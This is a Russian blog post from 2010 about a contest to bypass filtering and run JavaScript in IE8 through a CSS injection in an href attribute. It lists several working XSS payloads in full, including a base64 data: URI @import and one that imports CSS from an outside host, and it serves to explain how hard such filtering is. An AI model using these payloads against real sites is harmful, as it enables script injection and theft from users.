Главная  Контакты  Работы  

Безопасность  «CSS XSS и IE8»
30 August, 10

Вчера, в мною любимом twitter'е, появился твит от @0x6D6172696F (Mario), где он сообщил о проведении очередного мини-конкурса. Задание было следующим - необходимо выполнить JavaScript-код в браузере IE8 с определённым вектором. На сегодня конкурс уже пройден, хочу описать попытки и результаты.

Более полная информация о мини-конкурсе на форуме sla.ckers.org: http://sla.ckers.org/forum/read.php?24,35532. В качестве вознаграждения предлагалась новая книга Web Application Obfuscation от Eduardo Alberto Vela Nava, Gareth Heyes, David Lindsay, Mario Heiderich. Данная книга должна выйти к новому году.

Сам вектор был таким: <style /><a href="[can be edited]">click</a>. Но не всё так просто, как может показаться на первый взгляд. Чтобы было повеселей, был введён ряд дополнительных условий:

  • нельзя ломать атрибут;
  • JavaScript должен выполняться без участия пользователя;
  • запрещены '`&quot;()<> и их любые сущности;
  • должно работать после обработки функцией htmlentities().
Вот такой набор правил, который заставляет поразмять мозг. Однако, сборная солянка веб-технологий в виде HTML/CSS/JS, позволяет, фактически, бои без правил.

Первым на форуме ответил Yosuke Hasegawa, предложив такой вариант:
<style /><a href="} body{xss:expression(alert(1))}">click</a>
Но скобки () запрещены, так что ответ не был принят.

Правила суровые и мой способ тоже не подошёл, хотя было близко к истине:
<style /><a href="}html{a:\65\78\70\72\65\73\73\69\6f\6e\28\61\6c\65\72\74\28\39\29\29}">text</a>

А победителем вышел theharmonyguy со следующим вектором атаки:
<style /><a href="}@import/**/data:text/css%3Bbase64,Knt4OmV4cHJlc3Npb24oYWxlcnQoMSkpfQ%3D%3D;">click</a>
Это уже исправленный вариант, без пробелов.

У самого Mario была такая идея:
<style /><a href="#}@import//0x.lv/xss.css;">click</a>

Как видно, способов как обойти фильтр и выполнить свой JS-код, вагон и маленькая тележка. Поэтому и не очень удивительно, что мы регулярно читаем заголовки новостных лент, кричащих про новый червь какой-нибудь популярной социальной сети. Сократить набор допустимых символов до минимума - это тоже не решение проблемы, не говоря уж про запрещающие списки. Решение отнюдь не тривиально и требует глубоких знаний особенностей браузеров, веб-технологий.

Также напомню, что есть интересный проект, где собраны самые разные векторы атаки: HTML5 Security Cheatsheet.

теги: IE8, XSS, CSS | показов: 547 

Автор этого блога не несёт никакой ответственности за действия личностей, которые используют здесь опубликованную информацию в незаконных действиях. Вся информация есть только пища к размышлению - каждый думает своей головой.
Creative Commons License
Unless otherwise stated, all articles/files on this website are licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 Unported License.